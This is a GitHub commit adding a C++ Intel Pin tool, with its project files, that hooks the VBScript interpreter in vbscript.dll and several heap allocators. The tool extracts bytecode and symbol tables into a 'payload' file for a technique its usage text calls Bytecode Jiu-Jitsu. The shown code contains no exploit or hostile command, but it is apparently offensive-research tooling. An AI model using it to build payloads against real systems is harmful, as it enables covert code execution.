Initial commit

This commit is contained in:
hex86-64
2025-08-31 21:48:26 +09:00
committed by GitHub
parent c251424a49
commit dad8a826dd
94 changed files with 6627 additions and 0 deletions
+315
View File
@@ -0,0 +1,315 @@
#include "Extractor-BJJ.h"
std::string output_payload_file_name;
UINT8 output_payload_file_type;
// Map to store allocated heap memory and their sizes
unordered_map<ADDRINT, UINT32> heap_allocations;
// Mutex to protect heap_allocations
PIN_MUTEX heap_mutex;
KNOB<std::string> KnobConfigFile(KNOB_MODE_WRITEONCE, "pintool", "c", "", "specify file name for the input config");
KNOB<std::string> KnobPayloadFileType(KNOB_MODE_WRITEONCE, "pintool", "p", "", "specify file type of the output payload [JSON/C_HEADER]");
KNOB<std::string> KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "", "specify file name for the output payload");
INT32 Usage() {
std::cerr << "This tool extracts bytecode and symbol tables for Bytecode Jiu-Jitsu." << endl;
std::cerr << KNOB_BASE::StringKnobSummary() << endl;
return -1;
}
// Instrumentation for target functions
VOID hook_interp_func(IMG img, const Config &config) {
string image_name = IMG_Name(img);
ADDRINT image_base = IMG_LowAddress(img);
if (image_name == config.interp_module_name) {
RTN rtn = RTN_CreateAt(image_base + config.interp_func_offset, "interp_func");
if (RTN_Valid(rtn)) {
RTN_Open(rtn);
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_interp_func_before,
IARG_CONST_CONTEXT,
IARG_REG_VALUE, REG_STACK_PTR,
IARG_PTR, &config,
IARG_END);
RTN_Close(rtn);
} else {
cout << "Invalid RTN" << endl;
}
}
}
VOID hook_heap_allocation(IMG img) {
RTN rtn;
for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym)) {
string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY);
if (undFuncName == "CoTaskMemAlloc") {
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
if (RTN_Valid(rtn)) {
RTN_Open(rtn);
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_CoTaskMemAlloc_before,
IARG_ADDRINT, "CoTaskMemAlloc",
IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
IARG_END);
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_CoTaskMemAlloc_after,
IARG_ADDRINT, "CoTaskMemAlloc",
IARG_FUNCRET_EXITPOINT_VALUE,
IARG_END);
RTN_Close(rtn);
} else {
cout << "Invalid RTN" << endl;
}
}
if (undFuncName == "GlobalAlloc") {
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
if (RTN_Valid(rtn)) {
RTN_Open(rtn);
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_GlobalAlloc_before,
IARG_ADDRINT, "GlobalAlloc",
IARG_FUNCARG_ENTRYPOINT_VALUE, 1,
IARG_END);
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_GlobalAlloc_after,
IARG_ADDRINT, "GlobalAlloc",
IARG_FUNCRET_EXITPOINT_VALUE,
IARG_END);
RTN_Close(rtn);
} else {
cout << "Invalid RTN" << endl;
}
}
if (undFuncName == "LocalAlloc") {
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
if (RTN_Valid(rtn)) {
RTN_Open(rtn);
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_LocalAlloc_before,
IARG_ADDRINT, "LocalAlloc",
IARG_FUNCARG_ENTRYPOINT_VALUE, 1,
IARG_END);
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_LocalAlloc_after,
IARG_ADDRINT, "LocalAlloc",
IARG_FUNCRET_EXITPOINT_VALUE,
IARG_END);
RTN_Close(rtn);
} else {
cout << "Invalid RTN" << endl;
}
}
if (undFuncName == "HeapAlloc") {
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
if (RTN_Valid(rtn)) {
RTN_Open(rtn);
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_HeapAlloc_before,
IARG_ADDRINT, "HeapAlloc",
IARG_FUNCARG_ENTRYPOINT_VALUE, 2,
IARG_END);
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_HeapAlloc_after,
IARG_ADDRINT, "HeapAlloc",
IARG_FUNCRET_EXITPOINT_VALUE,
IARG_END);
RTN_Close(rtn);
} else {
cout << "Invalid RTN" << endl;
}
}
if (undFuncName == "malloc") {
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
if (RTN_Valid(rtn)) {
RTN_Open(rtn);
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_malloc_before,
IARG_ADDRINT, "malloc",
IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
IARG_END);
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_malloc_after,
IARG_ADDRINT, "malloc",
IARG_FUNCRET_EXITPOINT_VALUE,
IARG_END);
RTN_Close(rtn);
}
else {
cout << "Invalid RTN" << endl;
}
}
if (undFuncName == "operator new") {
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
if (RTN_Valid(rtn)) {
RTN_Open(rtn);
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_operator_new_before,
IARG_ADDRINT, "operator new",
IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
IARG_END);
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_operator_new_after,
IARG_ADDRINT, "operator new",
IARG_FUNCRET_EXITPOINT_VALUE,
IARG_END);
RTN_Close(rtn);
}
else {
cout << "Invalid RTN" << endl;
}
}
if (undFuncName == "operator new[]") {
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
if (RTN_Valid(rtn)) {
RTN_Open(rtn);
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_operator_new_before,
IARG_ADDRINT, "operator new[]",
IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
IARG_END);
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_operator_new_after,
IARG_ADDRINT, "operator new[]",
IARG_FUNCRET_EXITPOINT_VALUE,
IARG_END);
RTN_Close(rtn);
}
else {
cout << "Invalid RTN" << endl;
}
}
if (undFuncName == "VirtualAlloc") {
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
if (RTN_Valid(rtn)) {
RTN_Open(rtn);
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_VirtualAlloc_before,
IARG_ADDRINT, "VirtualAlloc",
IARG_FUNCARG_ENTRYPOINT_VALUE, 1,
IARG_END);
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_VirtualAlloc_after,
IARG_ADDRINT, "VirtualAlloc",
IARG_FUNCRET_EXITPOINT_VALUE,
IARG_END);
RTN_Close(rtn);
} else {
cout << "Invalid RTN" << endl;
}
}
}
}
// Image load callback
VOID ImageLoad(IMG img, VOID *v) {
Config *config;
ADDRINT image_base;
string image_name;
image_name = IMG_Name(img);
image_base = IMG_LowAddress(img);
cout << "[+] Loading image name: " << image_name << endl;
cout << "[+] Image base: "
<< (void *)image_base
<< endl;
config = reinterpret_cast<Config *>(v);
hook_interp_func(img, *config);
hook_heap_allocation(img);
}
int main(int argc, char **argv) {
PIN_InitSymbols();
// Initialize Pin
if (PIN_Init(argc, argv)) {
return Usage();
}
// Initialize mutex
PIN_MutexInit(&heap_mutex);
// Load ConfigIn
Config* config = new Config;
config->interp_module_name = "C:\\Windows\\System32\\vbscript.dll";
config->interp_func_offset = 0x84b0;
config->management_structure_index = 1;
output_payload_file_name = "test_payload.json";
output_payload_file_type = kPayloadFileTypeJson;
config->bytecode = { { 0x1e0 } };
config->symbol_tables = { { 2, 0, { 0x1f0 }, 0 } };
string config_file = KnobConfigFile.Value();
if (!config_file.empty()) {
std::string config_string;
cout << "[+] Config file: " << config_file << endl;
std::ifstream config_f(config_file);
if (!config_f) {
std::exit(1);
}
auto ss = std::ostringstream{};
ss << config_f.rdbuf();
config_string = ss.str();
if (!config_string.empty()) {
// To be fixed: JSON deserialization with nlohmann/json does not work properly.
// deserialize_config(config_string, *config);
}
}
string payload_file_type = KnobPayloadFileType.Value();
if (payload_file_type == "JSON") {
cout << "[+] Output payload file type: JSON" << endl;
output_payload_file_type = kPayloadFileTypeJson;
}
else if (payload_file_type == "C_HEADER") {
cout << "[+] Output payload file type: C header" << endl;
output_payload_file_type = kPayloadFileTypeCHeader;
}
else {
cout << "[+] No valid payload file type was specified. The default value of JSON has been selected." << endl;
output_payload_file_type = kPayloadFileTypeJson;
}
string payload_file_name = KnobOutputFile.Value();
if (!payload_file_name.empty()) {
cout << "[+] Output file: " << payload_file_name << endl;
output_payload_file_name = payload_file_name;
}
// Register image load callback
IMG_AddInstrumentFunction(ImageLoad, config);
// Start the program
PIN_StartProgram();
return 0;
}
+17
View File
@@ -0,0 +1,17 @@
#ifndef _EXTRACTOR_BJJ_EXTRACTOR_BJJ_H_
#define _EXTRACTOR_BJJ_EXTRACTOR_BJJ_H_
#include "pin.H"
#include "config.h"
#include "common.h"
#include "handler.h"
#include <fstream>
#include <unordered_map>
using std::unordered_map;
VOID hook_interp_func(IMG img, const Config &config);
VOID hook_heap_allocation(IMG img);
VOID ImageLoad(IMG img, VOID *v);
#endif // _EXTRACTOR_BJJ_EXTRACTOR_BJJ_H_
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.10.35122.118
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Extractor-BJJ", "Extractor-BJJ.vcxproj", "{639EF517-FCFC-408E-9500-71F0DC0458DB}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Debug|x64.ActiveCfg = Debug|x64
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Debug|x64.Build.0 = Debug|x64
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Debug|x86.ActiveCfg = Debug|Win32
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Debug|x86.Build.0 = Debug|Win32
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Release|x64.ActiveCfg = Release|x64
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Release|x64.Build.0 = Release|x64
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Release|x86.ActiveCfg = Release|Win32
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {6C68333B-1348-41D7-90E4-3DFD7D91F0EA}
EndGlobalSection
EndGlobal
+290
View File
@@ -0,0 +1,290 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<None Include=".gitignore" />
<None Include="README.md" />
<None Include="run.bat" />
<None Include="test.vbs" />
<None Include="test_config.json" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="common.h" />
<ClInclude Include="config.h" />
<ClInclude Include="debug.h" />
<ClInclude Include="extract.h" />
<ClInclude Include="Extractor-BJJ.h" />
<ClInclude Include="handler.h" />
<ClInclude Include="memory.h" />
<ClInclude Include="output.h" />
<ClInclude Include="payload.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="config.cpp" />
<ClCompile Include="debug.cpp" />
<ClCompile Include="extract.cpp" />
<ClCompile Include="Extractor-BJJ.cpp">
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">$(SolutionDir)lib\spdlog\include;$(SolutionDir)lib\json\include;..\..\include\pin;..\..\include\pin\gen;..\InstLib;..\..\..\extras\xed-intel64\include\xed;..\..\..\extras\components\include;..\..\..\extras\cxx\include;..\..\..\extras;..\..\..\extras\crt\include;..\..\..\extras\crt;..\..\..\extras\crt\include\arch-x86_64;..\..\..\extras\crt\include\kernel\uapi;..\..\..\extras\crt\include\kernel\uapi\asm-x86;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<ClCompile Include="handler.cpp" />
<ClCompile Include="memory.cpp" />
<ClCompile Include="output.cpp" />
<ClCompile Include="payload.cpp" />
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{639EF517-FCFC-408E-9500-71F0DC0458DB}</ProjectGuid>
<RootNamespace>MyPinTool</RootNamespace>
<Keyword>Win32Proj</Keyword>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
<PlatformToolset>ClangCL</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>ClangCL</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
<PlatformToolset>ClangCL</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>ClangCL</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.40219.1</_ProjectFileVersion>
<OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(ProjectDir)$(Configuration)\</OutDir>
<IntDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(Configuration)\</IntDir>
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</LinkIncremental>
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</GenerateManifest>
<OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">$(ProjectDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</LinkIncremental>
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</GenerateManifest>
<OutDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(ProjectDir)$(Configuration)\</OutDir>
<IntDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(Configuration)\</IntDir>
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</LinkIncremental>
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</GenerateManifest>
<OutDir Condition="'$(Configuration)|$(Platform)'=='Release|x64'">$(ProjectDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir Condition="'$(Configuration)|$(Platform)'=='Release|x64'">$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</LinkIncremental>
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</GenerateManifest>
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" />
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" />
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" />
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" />
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" />
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" />
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|x64'" />
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|x64'" />
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<AdditionalOptions>/GR- /GS- /EHs- /EHa- /FP:strict /Oi- /FIinclude/msvc_compat.h %(AdditionalOptions)</AdditionalOptions>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>..\..\include\pin;..\..\include\pin\gen;..\InstLib;..\..\..\extras\xed-ia32\include\xed;..\..\..\extras\components\include;..\..\..\extras\cxx\include;..\..\..\extras;..\..\..\extras\crt\include;..\..\..\extras\crt;..\..\..\extras\crt\include\arch-x86;..\..\..\extras\crt\include\kernel\uapi;..\..\..\extras\crt\include\kernel\uapi\asm-x86;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>TARGET_IA32;HOST_IA32;TARGET_WINDOWS;PIN_CRT=1;__i386__;_LIBCPP_DISABLE_AVAILABILITY;_LIBCPP_NO_VCRUNTIME;__BIONIC__</PreprocessorDefinitions>
<MinimalRebuild>false</MinimalRebuild>
<ExceptionHandling>
</ExceptionHandling>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FunctionLevelLinking>true</FunctionLevelLinking>
<EnableEnhancedInstructionSet>NotSet</EnableEnhancedInstructionSet>
<RuntimeTypeInfo>false</RuntimeTypeInfo>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<DisableSpecificWarnings>4530;%(DisableSpecificWarnings)</DisableSpecificWarnings>
</ClCompile>
<Link>
<AdditionalOptions>/export:main %(AdditionalOptions)</AdditionalOptions>
<AdditionalDependencies>pin.lib;xed.lib;pinipc.lib;c++.lib;pincrt.lib;kernel32.lib;crtbeginS.obj</AdditionalDependencies>
<AdditionalLibraryDirectories>..\..\..\ia32\lib;..\..\..\ia32\lib-ext;..\..\..\extras\xed-ia32\lib;..\..\..\ia32\runtime\pincrt;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>NotSet</SubSystem>
<OptimizeReferences>false</OptimizeReferences>
<EntryPointSymbol>Ptrace_DllMainCRTStartup%4012</EntryPointSymbol>
<BaseAddress>0x55000000</BaseAddress>
<TargetMachine>MachineX86</TargetMachine>
<AllowIsolation>true</AllowIsolation>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<AdditionalOptions>/GR- /GS- /EHs- /EHa- /FP:strict /Oi- /FIinclude/msvc_compat.h %(AdditionalOptions)</AdditionalOptions>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>$(SolutionDir)lib\spdlog\include;$(SolutionDir)lib\json\include;..\..\include\pin;..\..\include\pin\gen;..\InstLib;..\..\..\extras\xed-intel64\include\xed;..\..\..\extras\components\include;..\..\..\extras\cxx\include;..\..\..\extras;..\..\..\extras\crt\include;..\..\..\extras\crt;..\..\..\extras\crt\include\arch-x86_64;..\..\..\extras\crt\include\kernel\uapi;..\..\..\extras\crt\include\kernel\uapi\asm-x86;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>TARGET_IA32E;HOST_IA32E;TARGET_WINDOWS;WINDOWS_H_PATH=C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\Windows.h;PIN_CRT=1;__LP64__;_LIBCPP_DISABLE_AVAILABILITY;_LIBCPP_NO_VCRUNTIME;__BIONIC__</PreprocessorDefinitions>
<MinimalRebuild>false</MinimalRebuild>
<ExceptionHandling>
</ExceptionHandling>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FunctionLevelLinking>true</FunctionLevelLinking>
<RuntimeTypeInfo>false</RuntimeTypeInfo>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<DisableSpecificWarnings>4530;%(DisableSpecificWarnings)</DisableSpecificWarnings>
</ClCompile>
<Link>
<AdditionalOptions>/export:main %(AdditionalOptions)</AdditionalOptions>
<AdditionalDependencies>pin.lib;xed.lib;pinipc.lib;c++.lib;pincrt.lib;kernel32.lib;crtbeginS.obj</AdditionalDependencies>
<AdditionalLibraryDirectories>..\..\..\intel64\lib;..\..\..\intel64\lib-ext;..\..\..\extras\xed-intel64\lib;..\..\..\intel64\runtime\pincrt;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>NotSet</SubSystem>
<OptimizeReferences>false</OptimizeReferences>
<EntryPointSymbol>Ptrace_DllMainCRTStartup</EntryPointSymbol>
<BaseAddress>0xC5000000</BaseAddress>
<TargetMachine>MachineX64</TargetMachine>
<AllowIsolation>true</AllowIsolation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<AdditionalOptions>/GR- /GS- /EHs- /EHa- /FP:strict /Oi- /FIinclude/msvc_compat.h %(AdditionalOptions)</AdditionalOptions>
<IntrinsicFunctions>false</IntrinsicFunctions>
<WholeProgramOptimization>false</WholeProgramOptimization>
<AdditionalIncludeDirectories>..\..\include\pin;..\..\include\pin\gen;..\InstLib;..\..\..\extras\xed-ia32\include\xed;..\..\..\extras\components\include;..\..\..\extras\cxx\include;..\..\..\extras;..\..\..\extras\crt\include;..\..\..\extras\crt;..\..\..\extras\crt\include\arch-x86;..\..\..\extras\crt\include\kernel\uapi;..\..\..\extras\crt\include\kernel\uapi\asm-x86;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>TARGET_IA32;HOST_IA32;TARGET_WINDOWS;PIN_CRT=1;__i386__;_LIBCPP_DISABLE_AVAILABILITY;_LIBCPP_NO_VCRUNTIME;__BIONIC__</PreprocessorDefinitions>
<MinimalRebuild>false</MinimalRebuild>
<ExceptionHandling>
</ExceptionHandling>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FunctionLevelLinking>true</FunctionLevelLinking>
<EnableEnhancedInstructionSet>NotSet</EnableEnhancedInstructionSet>
<RuntimeTypeInfo>false</RuntimeTypeInfo>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>
</DebugInformationFormat>
<DisableSpecificWarnings>4530;%(DisableSpecificWarnings)</DisableSpecificWarnings>
</ClCompile>
<Link>
<AdditionalOptions>/export:main %(AdditionalOptions)</AdditionalOptions>
<AdditionalDependencies>pin.lib;xed.lib;pinipc.lib;c++.lib;pincrt.lib;kernel32.lib;crtbeginS.obj</AdditionalDependencies>
<AdditionalLibraryDirectories>..\..\..\ia32\lib;..\..\..\ia32\lib-ext;..\..\..\extras\xed-ia32\lib;..\..\..\ia32\runtime\pincrt;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>NotSet</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<LinkTimeCodeGeneration>
</LinkTimeCodeGeneration>
<EntryPointSymbol>Ptrace_DllMainCRTStartup%4012</EntryPointSymbol>
<BaseAddress>0x55000000</BaseAddress>
<TargetMachine>MachineX86</TargetMachine>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<AdditionalOptions>/GR- /GS- /EHs- /EHa- /FP:strict /Oi- /FIinclude/msvc_compat.h %(AdditionalOptions)</AdditionalOptions>
<IntrinsicFunctions>false</IntrinsicFunctions>
<WholeProgramOptimization>false</WholeProgramOptimization>
<AdditionalIncludeDirectories>..\..\include\pin;..\..\include\pin\gen;..\InstLib;..\..\..\extras\xed-intel64\include\xed;..\..\..\extras\components\include;..\..\..\extras\cxx\include;..\..\..\extras;..\..\..\extras\crt\include;..\..\..\extras\crt;..\..\..\extras\crt\include\arch-x86_64;..\..\..\extras\crt\include\kernel\uapi;..\..\..\extras\crt\include\kernel\uapi\asm-x86;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>TARGET_IA32E;HOST_IA32E;TARGET_WINDOWS;PIN_CRT=1;__LP64__;_LIBCPP_DISABLE_AVAILABILITY;_LIBCPP_NO_VCRUNTIME;__BIONIC__</PreprocessorDefinitions>
<MinimalRebuild>false</MinimalRebuild>
<ExceptionHandling>
</ExceptionHandling>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FunctionLevelLinking>true</FunctionLevelLinking>
<RuntimeTypeInfo>false</RuntimeTypeInfo>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>
</DebugInformationFormat>
<DisableSpecificWarnings>4530;%(DisableSpecificWarnings)</DisableSpecificWarnings>
</ClCompile>
<Link>
